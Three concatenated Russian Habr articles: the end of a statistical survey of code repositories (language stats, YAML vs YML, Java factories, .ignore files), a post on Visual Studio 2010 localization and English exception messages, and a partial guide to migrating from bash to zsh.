| | Assembly | 4,75 | | AutoHotKey | 2,2087400984292067 | | Autoconf | 5,8725585937792175 | | BASH | 2,1289059027401294 | | Basic | 3,003903865814209 | | Batch | 6,527053831937014 | | Bazel | 3,18005371087348 | | Bitbake | 2,015624999069132 | | Bitbucket Pipeline | 2,063491820823401 | | Boo | 4,010679721835899 | | Bosque | 4,98316764831543 | | Brainfuck | 4,2025654308963425 | | BuildStream | 3,4058846323741645 | | C | 4,923767089530871 | | C Header | 4,8744963703211965 | | C Shell | 3,027952311891569 | | C# | 3,9303305113013427 | | C++ | 3,765686050057411 | | C++ Header | 5,0468749664724015 | | CMake | 4,474763816174707 | | COBOL | 2,718678008809146 | | CSS | 3,158353805542812 | | CSV | 2,0005474090593514 | | Cabal | 2,0234456174658693 | | Cargo Lock | 2,602630615232607 | | Cassius | 3,56445312181134 | | Ceylon | 4,750730359584461 | | Clojure | 3,992209411809762 | | ClojureScript | 4,905477865257108 | | Closure Template | 6,800760253008946 | | CoffeeScript | 4,503051759227674 | | ColdFusion | 6,124976545410084 | | ColdFusion CFScript | 6,188602089623717 | | Coq | 4,000243186950684 | | Creole | 3,124526690922411 | | Crystal | 3,1243934621916196 | | Cython | 5,219657994911814 | | D | 9,291626930357722 | | Dart | 3,939864161220478 | | Device Tree | 6,530643464186369 | | Dhall | 0,12061593477278201 | | Docker ignore | 2,9984694408020562 | | Dockerfile | 3,1281526535752064 | | Document Type Definition | 6,3923129292499254 | | Elixir | 3,9999989270017977 | | Elm | 2,968016967181992 | | Emacs Dev Env | 4,750648772301943 | | Emacs Lisp | 2,0156250001746203 | | Erlang | 4,756546300111156 | | Expect | 5,126907349098477 | | Extensible Stylesheet Language Transformations | 4,519531239055546 | | F# | 5,752862453457055 | | F\* | 4,063724638864983 | | FIDL | 4,484130888886213 | | FORTRAN Legacy | 6,117128185927898 | | FORTRAN Modern | 5,742561882347131 | | Fish | 3,993835387425861 | | Flow9 | 9,462829245721366 | | Forth | 4,016601327653859 | | Fragment Shader File | 3,8598623261805187 | | Freemarker Template | 11,122007250069213 | | Futhark | 6,188476562965661 | | GDScript | 3,2812499999872675 | | GLSL | 6,6093769371505005 | | GN | 3,497192621218512 | | Game Maker Language | 4,968749999941792 | | Game Maker Project | 3,8828125 | | Gherkin Specification | 3,999099795268081 | | Go | 3,9588454874029275 | | Go Template | 4 | | Gradle | 2,655930499769198 | | Groovy | 11,499969503013528 | | HEX | 3,98394775342058 | | HTML | 4,564478578133282 | | Hamlet | 3,4842224120074867 | | Handlebars | 4,998766578761208 | | Happy | 5,699636149570479 | | Haskell | 2,000140870587468 | | Haxe | 5,999999999999997 | | IDL | 6,249999993495294 | | Idris | 3,515075657458509 | | Intel HEX | 3,983397483825683 | | Isabelle | 4,18351352773584 | | JAI | 7,750007518357038 | | JSON | 3,9999972562254724 | | JSONL | 5,751412352804029 | | JSX | 5,0041952044625715 | | Jade | 4,744544962807595 | | Janet | 3,0312496423721313 | | Java | 11,265740856469563 | | JavaScript | 4,242187985224513 | | JavaServer Pages | 7,999993488161865 | | Jenkins Buildfile | 2,000000000087315 | | Jinja | 6,937498479846909 | | Julia | 3,9999848530092095 | | Julius | 3,187606761406953 | | Jupyter | 2,375 | | Just | 4,312155187124516 | | Korn Shell | 7,0685427486899925 | | Kotlin | 6,455277973786039 | | LD Script | 5,015594720376608 | | LESS | 5,999999999999886 | | LEX | 5,6996263030493495 | | LOLCODE | 3,722656242392418 | | LaTeX | 4,499990686770616 | | Lean | 4,1324310302734375 | | License | 4,7715609660297105 | | Lisp | 6,00048828125 | | Lua | 3,999999057474633 | | Lucius | 3,0000303482974573 | | Luna | 4,758178874869392 | | MQL Header | 5,421851994469764 | | MQL4 | 5,171874999953652 | | MQL5 | 4,069171198975555 | | MSBuild | 4,8931884765733855 | | MUMPS | 4,999999672174454 | | Macromedia eXtensible Markup Language | 3,9139365140181326 | | Madlang | 3,625 | | Makefile | 4,717208385332443 | | Mako | 4,0349732004106045 | | Markdown | 2,25 | | Meson | 3,342019969206285 | | Modula3 | 3,980173215190007 | | Module-Definition | 8,875000973076205 | | Monkey C | 3,0672508481368164 | | Mustache | 6,000003708292297 | | Nim | 3,7500824918105313 | | Nix | 2,0307619677526234 | | OCaml | 3,269392550457269 | | Objective C | 3,526367187490962 | | Objective C++ | 5,000000834608569 | | Opalang | 4,500069382134143 | | Org | 5,953919619084296 | | Oz | 4,125 | | PHP | 7,999984720368943 | | PKGBUILD | 4,875488281252839 | | PSL Assertion | 5,004394620715175 | | Pascal | 5,0781240425935845 | | Patch | 3,999999999999819 | | Perl | 4,691352904239976 | | Plain Text | 5,247085583343509 | | Polly | 2,953125 | | Pony | 2,9688720703125 | | Powershell | 4,596205934882159 | | Processing | 3,999931812300937 | | Prolog | 4,4726600636568055 | | Properties File | 3,5139240025278604 | | Protocol Buffers | 6,544742336542192 | | Puppet | 6,662078857422106 | | PureScript | 4,000007774680853 | | Python | 5,4531080610843805 | | Q# | 3,7499999999999996 | | QCL | 2,992309644818306 | | QML | 7,042003512360623 | | R | 3,0628376582587578 | | Rakefile | 4,78515574071335 | | Razor | 8,062499530475186 | | ReStructuredText | 5,061766624473476 | | Report Definition Language | 5,996573380834889 | | Robot Framework | 4,0104638249612155 | | Ruby | 5,1094988621717725 | | Ruby HTML | 5,57654969021678 | | Rust | 3,2265624976654292 | | SAS | 4,826202331129183 | | SKILL | 6,039547920227052 | | SPDX | 4,000203706655157 | | SQL | 7,701822280883789 | | SRecode Template | 3,500030428171159 | | SVG | 5,217570301278483 | | Sass | 6,000000000056957 | | Scala | 4,398563579539738 | | Scheme | 6,999969714792911 | | Scons | 5,010994006631478 | | Shell | 4,988665378738929 | | Smarty Template | 5,000527858268356 | | Softbridge Basic | 4,87873840331963 | | Specman e | 5,765624999999318 | | Spice Netlist | 3,9687499998835882 | | Standard ML (SML) | 4,031283043158929 | | Stata | 6,27345275902178 | | Stylus | 3,5000006667406485 | | Swift | 3 | | Swig | 5,246093751920853 | | SystemVerilog | 2,9995259092956985 | | Systemd | 3,9960937500000284 | | TCL | 2,508188682367951 | | TOML | 2,063069331460588 | | TaskPaper | 2,003804363415667 | | TeX | 3,500000000931251 | | Thrift | 4,956119492650032 | | Twig Template | 8,952746974652655 | | TypeScript | 4,976589231140677 | | TypeScript Typings | 5,832031190521718 | | Unreal Script | 4,22499089783372 | | Ur/Web | 4,41992186196147 | | Ur/Web Project | 5,1147780619789955 | | V | 4,251464832544997 | | VHDL | 4,000000961231823 | | Vala | 3,99804687498741 | | Varnish Configuration | 4,006103516563625 | | Verilog | 3,6906727683381173 | | Verilog Args File | 8,93109059158814 | | Vertex Shader File | 3,8789061926163697 | | Vim Script | 3,9995117782528147 | | Visual Basic | 4,5 | | Visual Basic for Applications | 3,6874962672526417 | | Vue | 7,752930045514701 | | Wolfram | 3,075198844074798 | | Wren | 4 | | XAML | 4,515627968764219 | | XCode Config | 6,969711296260638 | | XML | 6 | | XML Schema | 5,807670593268995 | | Xtend | 4,315674404631856 | | YAML | 3,2037304108964673 | | Zig | 3,4181210184442534 | | Zsh | 2,0616455049940288 | | gitignore | 2,51172685490884 | | ignore | 10,6434326171875 | | m4 | 3,7519528857323934 | | nuspec | 4,109375 | | sed | 4,720429063539986 | YAML или YML? ============= Когда-то в компании Slack была «дискуссия» — использовать .yaml or .yml. Многие там полегли с обеих сторон. Дебаты могут наконец(?) закончиться. Хотя я подозреваю, что некоторые всё равно предпочтут умереть в споре. | Расширение | Число | | --- | --- | | yaml | 3 572 609 | | yml | 14 076 349 | Верхний, нижний или смешанный регистр? ====================================== Какой регистр используется для имён файлов? Поскольку есть ещё расширение, то можно ожидать, в основном, смешанный случай. | Стиль | Количество | | --- | --- | | Смешанный | 9 094 732 | | Нижний | 2476 | | Верхний | 2875 | Что, конечно, не очень интересно, потому что обычно расширения файлов находятся в нижнем регистре. Что если проигнорировать расширения? | Стиль | Количество | | --- | --- | | Смешанный | 8 104 053 | | Нижний | 347 458 | | Верхний | 614 922 | Не то, что я ожидал. Опять, в основном, смешанный, но я бы подумал, что нижний будет более популярным. Фабрики в Java ============== Ещё одна идея, которая появилась у коллег при просмотре какого-то старого кода Java. Я подумал, почему бы не добавить проверку для любого Java-кода, где в названии встречается Factory, FactoryFactory или FactoryFactoryFactory. Идея в том, чтобы оценить количество таких фабрик. | Тип | Количество | Доля | | --- | --- | --- | | не factory | 271 375 574 | 97,9% | | factory | 5 695 568 | 2,09% | | factoryfactory | 25 316 | 0,009% | | factoryfactoryfactory | 0 | 0% | Итак, чуть более 2% кода Java оказалось factory или factoryfactory. К счастью, factoryfactoryfactory не нашлось. Возможно, эта шутка наконец умрёт, хотя я уверен, что по крайней мере одна нешуточная рекурсивная мультифабрика третьего уровня до сих пор работает где-то в каком-то монолите Java 5, и каждый день зарабатывает больше денег, чем я увижу за всю свою карьеру. Файлы .ignore ============= Идею файлов .ignore разработали burntsushi и ggreer в [обсуждении на Hacker News](https://news.ycombinator.com/item?id=12564442). Возможно, это один из лучших примеров «конкурирующих» опенсорс-инструментов, работающих вместе с хорошим результатом и выполненных в рекордные сроки. Он стал стандартом де-факто для добавления кода, который инструменты будут игнорировать. `scc` тоже выполняет правило .ignore, однако также умеет их считать. Давайте посмотрим, насколько хорошо распространилась идея. **Полный список** | Количество файлов .ignore | Количество проектов | | --- | --- | | 0 | 9 088 796 | | 1 | 7848 | | 2 | 1258 | | 3 | 508 | | 4 | 333 | | 5 | 43 | | 6 | 130 | | 7 | 8 | | 8 | 14 | | 9 | 83 | | 10 | 49 | | 11 | 35 | | 12 | 112 | | 13 | 736 | | 15 | 4 | | 17 | 1 | | 18 | 4 | | 20 | 2 | | 21 | 1 | | 23 | 2 | | 24 | 3 | | 26 | 2 | | 27 | 1 | | 34 | 31 | | 35 | 19 | | 36 | 9 | | 38 | 2 | | 39 | 1 | | 43 | 12 | | 44 | 1 | | 45 | 2 | | 46 | 5 | | 49 | 7 | | 50 | 7 | | 51 | 12 | | 52 | 2 | Идеи на будущее =============== Люблю делать некоторый анализ на будущее. Было бы неплохо ещё просканировать такие вещи как ключи AWS AKIA и тому подобное. Я бы также хотел расширить покрытие проектов Bitbucket и Gitlab с анализом по каждому, чтобы посмотреть, может, там зависают группы разработчиков из разных областей. Если я когда-то повторю проект, то хотел бы преодолеть следующие недостатки и учесть следующие идеи. * Правильно сохранять URL где-то в метаданных. Использовать для его хранения имя файла было плохой идеей, поскольку теряется информация и может быть трудно определить источник и расположение файла. * Не заморачиваться с S3. Мало смысла платить за трафик, если я использую его только для хранения. Лучше было с самого начала забить всё в файл tar. * Потратить время на изучение некоторых инструментов, которые помогут с построением графиков и диаграмм. * Использовать префиксное дерево или какой-nо другой тип данных, чтобы точно посчитать количество названий файлов, а не с небольшой погрешностью, как сейчас. * Добавить опцию в scc, чтобы проверять тип файла по ключевым словам в качестве примеров, потому что иначе возможны ошибки. Например, [этот файл CIDE.C](https://bitbucket.org/abellnets/hrossparser/src/master/xml_files/CIDE.C) был определён как файл C, хотя по содержимому очевидно, что это HTML. Для справедливости все счётчики работали одинаково. * Кажется, есть ошибка в scc, когда название файла считается его расширением, если у него нет расширения, а название совпадает с расширением в списке. Для этого зарегистрирован [тикет](https://github.com/boyter/scc/issues/114). * Я хотел бы добавить в scc [обнаружение шебангов](https://github.com/boyter/scc/issues/115). * Было бы неплохо как-то учитывать количество звёзд на Github и количество коммитов. * Хочу как-нибудь добавить расчёт индекса ремонтопригодности. Было бы очень здорово посмотреть, какие проекты считаются наиболее ремонтопригодными в зависимости от их размера. Зачем это всё? ============== Ну, я могу взять часть этой информации и использовать её в своём поисковике searchcode.com и программе `scc`. Хотя бы некоторые полезные точки данных. Изначально проект затевался во многом ради этого. К тому же очень полезно сравнить свой проект с другими. Кроме того, это был интересный способ провести несколько дней, решая некоторые интересные проблемы. И хорошая проверка на надёжность для `scc`. Кроме того, я сейчас работаю над инструментом, который помогает ведущим разработчикам или менеджерам анализировать код, искать определённые языки, большие файлы, недостатки и т. д… с предположением, что нужно проанализировать несколько репозиториев. Вы вводите какой-то код, а инструмент говорит, насколько он ремонтопригоден и какие навыки нужны для его обслуживания. Это полезно при решении вопроса, покупать ли какую-то базу кода, обслуживать ли её, или получить понятие о своём собственном продукте, который выдаёт команда разработчиков. Теоретически это должно помочь командам масштабироваться за счёт общих ресурсов. Что-то вроде AWS Macie, но для кода — примерно над этим я работаю. Это мне и самому нужно для повседневной работы, и я подозреваю, что другие могут найти применение такому инструменту, по крайней мере, такова теория. Наверное, стоило бы поставить тут какую-то форму регистрации для заинтересованных… Необработанные/обработанные файлы ================================= Если кто-то хочет сделать собственный анализ и внести исправления, вот [ссылка](https://boyter.org/static/an-informal-survey/results.zip) на обработанные файлы (20 МБ). Если кто-то хочет разместить raw-файлы в открытом доступе, дайте знать. Это 83 ГБ tar.gz, а внутри чуть более 1 ТБ. Содержимое состоит из чуть более 9 миллионов файлов JSON различных размеров. UPD. Несколько добрых душ предложили разместить файл, места указаны ниже: * <https://releases.wekan.team/scc/> По хостингу этого файла tar.gz спасибо [CNCF](https://www.cncf.io/) за сервер для [xet7](https://github.com/xet7) из проекта [Wekan](https://wekan.github.io/).
https://habr.com/ru/post/470852/
null
ru
null
# Игры с локализацией В связи с выходом локализированной версии Visual Studio 2010 и публикацией нескольких статей на хабре на эту тематику, возникло желание посмотреть лично, что же это за зверь такой — русская версия Visual Studio 2010! Поэтому я пошел на сайт Microsoft и загрузил пробную версию VS2010 и началось… Сначала я думал, что начну с 10 причин, почему локализированная версия — это кул, но на первом пункте застопорился… Но вопрос локализации все таки достаточно интересен — поэтому статью решил все таки выкатить — может кому-то пригодится эта информация. #### Как побороть локализированные сообщения при исключениях? Если у вас русская редакция Виндоуз (что более реально, чем Визуальная Студия 2010), то, наверняка, вы сталкивались с проблемой, когда все сообщения об ошибках тоже локализированные. Не знаю, как вам, но для меня это не всегда удобно. Создадим простенький пример аля «Hello World!» и напишем следующий код: > `try > >   { > >     throw new ArgumentNullException("param"); > >   } > >   catch (Exception ex) > >   { > >     Console.WriteLine(ex.Message); > >   } > > > >   Console.ReadLine();` Запустим проект и получим следующее сообщение: *Значение не может быть неопределенным. Имя параметра: param* Для того, чтобы сообщение стало английским, необходимо добавить следующую строчку перед try: > `Thread.CurrentThread.CurrentUICulture = CultureInfo.GetCultureInfo(«en-US»);` После этого вуаля: *Value cannot be null. Parameter name: param* Здесь важно отметить, что часто вместо CurrentUICulture используют свойство CurrentCulture — в этом случае ничего не изменится и сообщение по прежнему будет локализированное. Причина в том, что CurrentCulture влияет на настройки времени, конвертацию валют, форматирование и сравнение строк и никаким образом не влияет на локализацию сообщений. Но есть еще одно решение… #### Finderr Сайт: <http://finderr.net/> Этот сайт создан для тех, кто хочет получить английский вариант ошибок и не хочет играться с потоками и культурами. Вбиваем наше локализированное сообщение в строку поиска и [получаем дословный перевод](http://finderr.net/clr/ru/%D0%97%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BD%D0%B5-%D0%BC%D0%BE%D0%B6%D0%B5%D1%82-%D0%B1%D1%8B%D1%82%D1%8C-%D0%BD%D0%B5%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D0%BC-/2128863933): *.NET Framework error in Русский (Russian): Значение не может быть неопределенным. English translation: Value cannot be null.* В данный момент есть сообщения в категориях MS SQL Server, .NET Framework, Windows. Тут еще нужно упомянуть [«Языковой пакет полного выпуска Microsoft .NET Framework 4 (x86/x64)»](http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=7a4c6414-7f64-47a5-ae20-218403137957) — языковой пакет платформы Microsoft .NET Framework 4 содержит переведенный текст, например сообщения об ошибках, для каждого языка. #### Visual Studio 2010 Language Packs Visual Studio 2010 Language Packs — это бесплатные аддоны, которые позволяют пользователям переключать язык интерфейса с английского на выбранный вами. Эти аддоны были созданы академическими сообществами. На данный момент есть такие языки: чешский, польский, турецкий. Не знаю, чем вызвана такая специфическая география, но если вы хотите разрабатывать в турецкой IDE — [качаем аддоны](http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=7ee0d8a7-32fb-407d-a010-da3a7d93fc2f). #### Немножко фана Но больше всего мне понравилась возможность написания локализированного кода — я чуть футбол не пропустил, пока игрался (**но не вздумайте такое посылать своему заказчику!!!**). Вот такие хиты может создавать каждый: > `class Консолька { > >     public static void НапишиВЧерненькомОкошке(string ЧтоПисатьБудем){ > >       Console.WriteLine(ЧтоПисатьБудем); > >     } > > > >     internal static void ХочуПередатьПривет(string эсемесочка) > >     { > >       Console.WriteLine(эсемесочка); > >     } > >   } > > > >   static class Время > >   { > >     public static DateTime ПрямоСейчас = DateTime.Now; > > > >     public static DateTime ПрибавитьМинуты(this DateTime дата, int минут) > >     { > >       return дата.AddMinutes(минут); > >     } > >   } > >    > >   class Блондинка > >   { > >     private DateTime ВремяКогдаНачалаПлакать { get; set; } > >     public bool Дура { get; set; } > >      > >     internal void ГромкоПлачет() > >     { > >       // всем пофиг > >     } > > > >     internal void УронилаМячВРеку() > >     { > >       ВремяКогдаНачалаПлакать = Время.ПрямоСейчас; > >     } > > > >     public bool НеПопустило(int минут) > >     { > >       return Время.ПрямоСейчас.CompareTo(ВремяКогдаНачалаПлакать.ПрибавитьМинуты(минут)) > 0; > >     } > >   } > > > > \* This source code was highlighted with Source Code Highlighter.` Ну и собственно, в main: > `var Таня = new Блондинка(); > > Таня.УронилаМячВРеку(); > > > > while (!Таня.НеПопустило(30)) > > { > >   Таня.ГромкоПлачет(); > > > >   if (!МячУтонет()) { > >     Таня.Дура = true; > >     break; > >   } > > } > > > > Консолька.НапишиВЧерненькомОкошке("При отладке программы ни один мяч не пострадал :)"); > > Консолька.ХочуПередатьПривет("Чмоки - чмоки!"); > > > > \* This source code was highlighted with Source Code Highlighter.` Установить Визуальную Студию 2010 Максимальную на свою машину мне так и не удалось — не хватило места на винчестере. Но тем не менее, считаю, что локализированная версия, как минимум, не лишняя — есть много людей, которые ее используют по разным причинам и думаю, Microsoft делает правильно, что выпускает локализированные продукты.
https://habr.com/ru/post/98582/
null
ru
null
# Переход с bash на zsh Чтобы перейти с bash на zsh необходимо знать базовые отличия между ними — без этого будет сложно провести первоначальную настройку zsh в `~/.zshrc`. Я не нашёл краткого описания этих отличий когда переходил сам, и мне пришлось потратить немало времени на вычитывание документации zsh. Надеюсь, эта статья упростит вам переход на zsh. Зачем переходить ---------------- Для начала — а стоит ли вообще тратить своё время и внимание на переход? Учить ещё один диалект sh, менее распространённый чем POSIX sh или bash, заново заниматься настройкой рабочего окружения… На мой взгляд, если вы проводите много времени в консоли, вам нравятся Vim или Emacs и вы уже потратили немало времени на их настройку "под себя" — однозначно стоит! Zsh по духу очень на них похожа: это очень сложная и гибкая программа, чьи возможности *полностью* мало кто знает, но потратив некоторое время на настройку можно получить **очень удобную лично вам рабочую среду**. Что касается изучения нового диалекта sh… пользы от этого, скорее всего, действительно мало, но описанного в этой статье минимума должно быть достаточно чтобы настраивать zsh, а писать новые скрипты на диалекте zsh вам никто и не предлагает. В общем и целом это ничем не отличается от необходимости минимально знать VimL или Emacs Lisp исключительно для настройки Vim/Emacs. В инете куча статей и презентаций описывающих конкретные фичи zsh, значительно упростившие чью-то жизнь. Я не буду их перечислять, потому что фичи всем нужны разные, и в zsh найдутся варианты на любой вкус. Вместо этого я опишу ключевые особенности zsh, которые позволили реализовать эти фичи: * Zsh не использует readline для ввода команд пользователем. Вместо этого используется собственный редактор ZLE (Zsh Line Editor). Это позволило реализовать множество фич: удобное редактирование многострочных команд, подсветку синтаксиса прямо в процессе ввода команды, особую обработку "paste" из clipboard чтобы не выполнить случайно вставленный текст, гибкое управление горячими клавишами, undo (в т.ч. отменяющее результат автодополнения и разворачивания glob-ов)… плюс интегрировать функционал редактора с zsh, что позволяет управлять его поведением через обычные функции zsh (например, подсветка синтаксиса так и реализована). * Невероятно сложный и гибкий механизм автодополнения команд. Он сильно зависит от контекста, поэтому при нажатии в разных местах командной строки будут дополняться разные вещи: имена команд, их параметры, файлы, имена пользователей и серверов, номера процессов, названия переменных, индексы массивов и ключи хешей, элементы синтаксиса zsh, названия цветов и шрифтов, сетевых интерфейсов, системных пакетов… короче, вообще всего что можно автодополнять. И его можно детально контролировать, вплоть до изменения логики автодополнения для конкретного контекста у конкретной команды. * Громадное количество (177 в zsh-5.2) опций, изменяющих поведение zsh. С их помощью можно, например, изменять поддерживаемый синтаксис и включать (в т.ч. частично) режимы совместимости с sh/bash/ksh/csh. Они позволяют настолько значительно влиять на работу, что в zsh пришлось сделать отдельный "режим совместимости с zsh", который многие функции обычно включают первой командой, потому что только это даёт им гарантию, что код этой функции будет понят zsh именно так, как ожидал его автор. * Предпочтение максимально сжатого, краткого синтаксиса — чтобы вам нужно было набирать как можно меньше текста для выполнения типичных, пусть даже довольно сложных, задач. В коде, где важна читабельность через месяц — это однозначно минус. Но в командной строке — однозначно плюс. * Модульная организация настроек через фреймворки (вроде oh-my-zsh и prezto), плагины, темы, etc. На самом деле здесь нет ничего специфичного для zsh, ровно то же самое можно сделать и для bash, но… почему-то для zsh всё это уже есть, а для bash — нет (а если и есть, то про это мало кто знает). А это даёт возможность относительно быстро собрать свой вариант настроек zsh из готовых "кубиков" (как пример, посмотрите видео [менеджера плагинов zsh Аntigen](https://github.com/zsh-users/antigen)), точно так же, как обвешивается плагинами Vim. Отличия и совместимость ----------------------- Ещё раз уточню, что я буду описывать именно *отличия* от bash, а не полный набор возможностей zsh. Большая часть привычного вам функционала работает в zsh точно так же, как и в bash. Но при этом часто есть специфичные для zsh способы делать примерно то же самое. Это связано с тем, что в zsh уделяется очень много внимания совместимости с другими шеллами, поэтому в zsh плюс к своим фичам перетащили очень многое из других шеллов — и в результате получили несколько альтернативных способов делать одно и то же. Термины ------- * **Параметр:** обычная переменная — скаляр (строка, целое, дробное), массив, ассоциативный массив (хеш). А переменными называют в основном переменные окружения, т.е. экспортированные скалярные параметры. * **Аргумент:** параметр (в традиционном смысле) вызываемой команды или функции (аргументы функции доступны через параметры `$@`, `$1`, …). * **Шаблон:** глоб. Как правило шаблоны подразумевают совпадение с реально существующими файлами, но в некоторых случаях они применяются к строке или значению параметра. Поддержка полноценных регулярок тоже есть, но в основном везде в качестве шаблонов для совпадения или поиска/замены используются глобы. * **Флаги:** задаются в круглых скобках *перед* тем, на что они должны влиять. Для параметров задаются между открывающей фигурной скобкой и именем параметра: `${(kv@)some_hash}`. Для шаблонов могут быть в начале или середине: `*CaseImportant(#i)CaseIgnored*.txt`. * **Квалификаторы:** задаются в круглых скобках после шаблона, уточняя его свойствами не связанными с именем файла: `*(/^F)`. * **Модификаторы:** задаются каждый после двоеточия, применяются по очереди изменяя текущее значение. Для параметров задаются после имени параметра: `$PWD:h:t`, `${some_param:h:t}`. Для шаблонов задаются перед закрывающей круглой скобкой квалификаторов: `*(:e)`. Текущие настройки ----------------- Многие встроенные команды выводят текущее состояние при запуске без аргументов (плюс нередко у них есть аргумент, который оформляет вывод в стиле команд zsh, что довольно удобно). ``` # текущие опции setopt # полный список всех опций setopt KSH_OPTION_PRINT; setopt # список обрабатываемых кнопок в текущем режиме bindkey # список обрабатываемых кнопок во всех режимах, в формате команд zsh for m in $(bindkey -l); bindkey -M $m -L # текущие стили (контекстно-зависимые настройки) zstyle zstyle -L # текущие алиасы (обычные плюс глобальные), в формате команд zsh alias -L # текущие алиасы для суффиксов, в формате команд zsh alias -s -L # текущие параметры (переменные) typeset # текущие параметры (переменные), в формате команд zsh typeset -p ``` Это далеко не полный список, но для большинства задач в процессе (анализа) настройки zsh его должно хватить. Ещё может быть полезным запуск `zsh -f` — это запускает zsh в состоянии по умолчанию (без выполнения любых стартовых скриптов кроме `/etc/zshenv`, которого в большинстве систем и так нет). setopt и emulate ---------------- * В именах опций регистр и подчёркивания значения не имеют, плюс перед любой опцией можно добавить префикс "no". * Вызов для одной и той же опции `setopt` с префиксом "no" и `unsetopt` без "no" (равно как и наоборот!) делают одно и то же. * В выводе `setopt` используются маленькие буквы без подчёркиваний, в документации используются большие буквы с подчёркиваниями. Это создаёт некоторое неудобство — при поиске в документации нужно догадаться, где вставлять подчёркивания чтобы найти нужную опцию. * Команда `emulate` позволяет массово установить группу опций в состояние совместимости с sh, ksh, csh или в состояние по умолчанию для zsh. Многие функции в zsh начинаются командой `emulate -L zsh`, что позволяет на время выполнения функции привести ключевые опции в состояние по умолчанию для zsh — без этого большинство нетривиальных функций может ломаться из-за выставленных пользователем опций (например, есть опция которая управляет тем, как индексируются массивы — от 1 или от 0). ``` # все эти команды делают одно и то же setopt nonumericglobsort setopt NO_numericglobsort setopt NO_NUMERIC_GLOB_SORT setopt _N_O_numERICglob_SORT_ unsetopt NUMERIC_GLOB_SORT unsetopt numericglobsort ``` В начале использования zsh, для более привычной работы после bash, я бы рекомендовал следующие опции: ``` # традиционный стиль перенаправлений fd unsetopt MULTIOS # поддержка ~… и file completion после = в аргументах setopt MAGIC_EQUAL_SUBST # не обрабатывать escape sequence в echo без -e setopt BSD_ECHO # поддержка комментариев в командной строке setopt INTERACTIVE_COMMENTS # поддержка $(cmd) в $PS1 etc. setopt PROMPT_SUBST ``` Ещё есть опция `SH_WORD_SPLIT`, и формально для привычной работы после bash её тоже надо включить, но я бы этого не рекомендовал: поведение zsh без этой опции более удобное и логичное, лучше сразу к нему привыкать. Она отвечает за то, как сработает `cmd $PARAM` если значение `$PARAM` это строка содержащая пробелы: в bash `cmd` получит несколько аргументов, а в zsh — один (как если бы вызвали `cmd "$PARAM"`). А если `$PARAM` это массив, то zsh передаст `cmd` по одному аргументу на каждый не пустой элемент массива (даже если эти элементы содержат пробелы). (В основном, эта статья описывает поведение zsh с опциями по умолчанию, иначе каждое второе предложение пришлось бы уточнять в стиле "но вот при таких-то опциях всё это работает иначе".) Параметры --------- * Соглашение: для имён скалярных параметров (строки, целые и дробные числа) *обычно* используют `$БОЛЬШИЕ` буквы, а для массивов (обычных и ассоциативных) — `$маленькие`. * Через `typeset -U` можно объявить массив с уникальными элементами (попытки добавления уже существующих элементов будут игнорироваться). * Через `typeset -T` можно связать массив со скаляром в формате `$PATH`. Несколько таких связанных параметров уже созданы: `$PATH` и `$path`, `$FPATH` и `$fpath`, `$MANPATH` и `$manpath`, `$CDPATH` и `$cdpath`. Для связанных параметров не имеет значения какой из них мы изменяем — изменяются сразу оба. Поэтому в zsh с такими параметрами практически всегда работают через массивы (`$path`, `$fpath`, …) — это значительно удобнее. * Некоторые скалярные параметры так же связаны между собой, например `$PS1`, `$PROMPT` и `$prompt` (хотя, это скорее просто синонимы для одного параметра). ### Массивы * Индексируются с 1. * Можно использовать отрицательные индексы (от конца массива). * Можно использовать срезы. * При использовании как скаляра — объединяют элементы через пробел. * Индексирование скаляра возвращает символы строки. * Глоб возвращает массив, так что индекс можно использовать как квалификатор глоба: `*([2,-2])`. Шаблоны ------- * `**/` — совпадает с подкаталогом любого уровня вложенности, включая отсутствие подкаталога * `<число1-число2>` — совпадает с числом в заданном диапазоне в имени файла, и начало и конец диапазона можно не указывать * `(шаблон1|шаблон2)` — альтернатива (так же — группирующие скобки при использовании опции `EXTENDED_GLOB`) * если включить опцию `EXTENDED_GLOB`, то в шаблонах можно будет дополнительно использовать `#` (повтор предыдущего элемента), `~` и `^` (исключение из совпадения) ``` # показать файлы в текущем каталоге или его подкаталогах, # которые содержат в имени число большее или равное 5 либо строку example, # и у которых расширение .txt ls -l **/*(<5->|example)*.txt ``` Флаги/Квалификаторы/Модификаторы -------------------------------- Квалификаторы есть только у шаблонов, они позволяют задать дополнительные условия отбора файла: по типу (файл/каталог/симлинк/etc.), правам, времени (изменения/etc.), размеру… Можно сортировать и индексировать отобранные файлы. Можно включить для конкретно этого шаблона совпадение начальной `*` с именами начинающимися на точку. Можно включить удаление этого шаблона из аргументов командной строки если он не совпал ни с одним файлом. ``` # до 5-ти подкаталогов текущего каталога, # имена которых могут начинаться на точку и содержат "a", # которые изменялись последними ls -ld *a*(D/om[1,5]) ``` Если включить опцию `EXTENDED_GLOB`, то в шаблонах можно будет использовать флаги: для файлов интерес представляет управление чувствительностью к регистру, а при совпадении с параметром/строкой есть и другие полезные флаги. ``` # эти команды идентичны ls -ld .[cC][oO][nN][fF][iI][gG]* setopt extendedglob; ls -ld .(#i)Config* ``` Для параметров доступно намного больше флагов: вывод всех (включая пустые) элементов массива даже в кавычках, выполнение join или split по заданной подстроке, вывод только ключей и/или значений ассоциативного массива, экранирование разными видами кавычек и обратная операция, etc. ``` # вывод ключей ассоциативного массива вместо значений echo ${(k)some_hash} # преобразовать $PATH в массив разделив на элементы по ":", # после чего корректно взять каждый элемент в одинарные кавычки echo ${(s<:>qq)PATH} ``` И для шаблонов и для параметров можно использовать модификаторы: удаление последнего элемента пути, удаление всех элементов пути кроме последнего, удалить/оставить расширение, экранирование и обратная операция, поиск и замена подстроки, etc. ``` # вывод имени родительского каталога (сначала отбрасываем последний # элемент пути, потом отбрасываем все элементы пути кроме последнего) echo $PWD:h:t # вывести имена (без каталога) всех симлинков в любом подкаталоге, # заменив в них подстроку "fil" на "FIL" (если такая подстрока есть) echo **/*(@:t:s/fil/FIL/) ``` autoload -Uz ------------ Помимо традиционного способа подгружать код через `source /path/to/file.sh` или `. /path/to/file.sh` в zsh активно используется автозагрузка кода в момент первого вызова функции. Для поиска файла с нужной функцией используется `$FPATH` — переменная аналогичная по формату `$PATH`, содержащая список каталогов в которых выполняется поиск файла с именем, идентичным имени загружаемой функции. При вызове `autoload` никаких файлов с диска не считывается, и даже не проверяется их наличие — всё это произойдёт при первом вызове функции. Практически всегда 